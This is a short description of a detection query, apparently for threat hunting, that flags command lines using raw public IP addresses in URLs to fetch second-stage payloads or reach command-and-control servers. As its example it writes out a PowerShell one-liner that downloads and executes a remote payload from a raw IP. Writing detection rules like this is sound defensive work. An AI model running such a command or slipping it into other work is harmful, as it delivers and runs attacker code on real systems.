Detection of External Direct IP Usage in CommandLine Windows and Mac
Detection of External Direct IP Usage This query detects Windows processes that utilize raw public IP addresses within HTTP/HTTPS URLs in their command-line arguments (e.g., powershell -c IEX(New-Object Net.WebClient).DownloadString('http://1.2.3.4/payload')). This behavior is highly suspicious because legitimate software typically uses domain names (DNS). Attackers often use direct public IPs to host second-stage payloads or C2 servers to bypass DNS filtering and logging mechanisms.
